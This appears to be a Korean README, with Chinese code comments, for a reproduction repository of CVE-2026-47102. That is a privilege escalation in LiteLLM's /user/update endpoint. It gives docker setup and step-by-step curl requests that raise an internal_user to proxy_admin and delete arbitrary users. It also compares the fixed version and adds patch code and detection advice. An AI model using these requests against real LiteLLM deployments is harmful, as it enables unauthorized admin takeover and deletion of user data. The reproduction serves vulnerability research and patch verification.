
해당 취약점을 직접 재현하기 위한 코드
/user/update를 통한 LiteLLM 권한 상승LiteLLM v1.83.7(v1.83.10 이전 버전)의
/user/update엔드포인트는 해당 엔드포인트에 대한 접근 권한이 있는 낮은 권한의 사용자가 자신의 계정을 업데이트할 때user_role필드를proxy_admin으로 수정하여 권한 없는 권한 상승을 수행할 수 있게 합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (잘못된 권한 부여) |
| 영향받는 버전 | LiteLLM < 1.83.10(v1.83.7에서 확인됨) |
| 수정 버전 | v1.83.10+(user_role 필드 수정 권한 검증 추가) |
| 공개일 | 2026-05-21 |
| 발견자 | Fenix Qiao (13ph03nix) — Obsidian Security |
| 링크 | NVD |
LiteLLM의 /user/update 엔드포인트는 사용자 속성을 업데이트하는 데 사용됩니다. 영향을 받는 버전에서 /user/update의 can_user_call_user_update() 함수는 사용자가 지정된 사용자를 업데이트할 권한이 있는지 확인하지만(사용자가 자신의 레코드를 업데이트하는 것은 허용), 수정 가능한 필드에 대한 제한은 전혀 없습니다.
즉, /user/update 엔드포인트에 접근할 수 있는 모든 사용자(예: 관리자로부터 해당 라우트 권한을 부여받은 사용자 또는 다른 취약점을 통해 해당 엔드포인트에 대한 접근 권한을 얻은 공격자)는 자신의 user_role 필드를 수정하여 자신의 역할을 proxy_admin으로 승격시키고 모든 관리 엔드포인트에 대한 전체 액세스 권한을 얻을 수 있습니다.
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
두 취약점은 연계하여 사용할 수 있습니다. CVE-2026-47101은 와일드카드 라우트 key를 생성(
/user/update접근)하는 데 사용되며, CVE-2026-47102는 자신의 역할을proxy_admin으로 승격시키는 데 사용됩니다.
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
예상 출력에는 Uvicorn running on http://0.0.0.0:4000 등 시작 성공 로그가 포함되어야 합니다.
master key를 사용하여 낮은 권한의 internal_user 계정을 생성합니다:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
예상 출력:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
관리자가 internal_user를 위해 /user/update 라우트 접근 권한이 있는 API key를 생성합니다. 이는 실제 환경에서 /user/update 엔드포인트 접근 권한을 보유하는 일반적인 방식입니다:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
예상 출력:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
이전 단계에서 얻은 /user/update 라우트 권한이 있는 key를 사용하여 사용자 역할을 proxy_admin으로 승격시킵니다:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
예상 출력:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ 취약점:
user_role이internal_user에서proxy_admin으로 변경되었습니다!/user/update엔드포인트는 사용자가 자신의user_role필드를 수정하는 것을 허용하며, 필드 수준 권한 제한이 없습니다.
/user/list 엔드포인트를 통해 역할 승격이 적용되었는지 검증합니다(원래 internal_user의 API key를 사용하며, 이 key에는 라우트 제한이 없어 proxy_admin으로 승격된 후 자동으로 관리 권한을 얻습니다):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
예상 출력:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
획득한 proxy_admin 권한을 이용하여 /user/delete를 통해 임의의 사용자를 삭제할 수 있습니다(역시 원래 internal_user의 API key를 사용):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
예상 출력:
1
위 단계는 demo.sh에 통합되어 있으며 바로 실행할 수 있습니다:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
수정 버전(v1.83.10-stable)을 시작하여 CVE-2026-47102가 수정되었는지 검증합니다:
docker compose --profile fixed up -d litellm-fixed
internal_user 생성:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
/user/update 라우트가 있는 key 생성:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
권한 상승 시도(차단될 것으로 예상):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
예상 출력(수정 버전이 권한 초과 요청을 차단):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
취약한 버전과 비교:
| 테스트 시나리오 | 취약한 버전 (v1.83.7) | 수정 버전 (v1.83.10) |
|---|---|---|
| 라우트 key로 user_role 수정 | ✅ proxy_admin으로 승격 성공 | ❌ 차단됨("Only proxy admins can modify user roles.") |
| /user/list 접근 | ✅ 사용자 목록 획득 성공 | ❌ 차단됨 |
취약점의 근본 원인은 /user/update 엔드포인트의 can_user_call_user_update() 함수에 있습니다:
/user/update — 필드 수준 권한 검증 부족# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员可以更新任何用户
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ 用户可以更新自己的记录 — 包括 user_role 字段!
return False
수정 방안(v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员仍然可以更新任何用户和字段
elif user_api_key_dict.user_id == user_info.user_id:
# 限制非管理员可修改的字段
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
공격자는 /user/update 엔드포인트에 접근할 수 있는 API key가 필요합니다. 이는 다음과 같은 방법으로 얻을 수 있습니다:
/user/update 라우트가 있는 key를 생성/key/generate의 와일드카드 라우트 취약점을 이용하여 와일드카드 key 생성/user/update에 접근할 권한이 있음Step 1: /user/update 라우트 권한이 있는 API key 획득
Step 2: /user/update를 호출하여 역할 승격:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Step 3: 관리자 권한 검증:
GET /user/list
Authorization: Bearer sk-route-key
수정 버전은 /user/update에 필드 수준 권한 검증을 추가했습니다:
metadata 등 중요하지 않은 필드만 업데이트할 수 있음user_role 필드 보호 — proxy_admin만 사용자 역할을 수정할 수 있음오류 메시지: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # This file
├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
user_role 변경이 포함된 /user/update 호출을 비정상 활동에 대해 모니터링고지 사항: 이 콘텐츠는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다.
| 비교 항목 | CVE-2026-47101 | CVE-2026-47102 |
|---|
| 취약점 초점 | /key/generate가 allowed_routes를 검증하지 않음 | /user/update에 필드 수준 권한 검증 부족 |
| 공격 전제 조건 | internal_user가 /key/generate를 직접 호출 가능 | 먼저 /user/update 라우트 접근 권한을 획득해야 함 |
| 수정 버전 | v1.83.14 | v1.83.10 |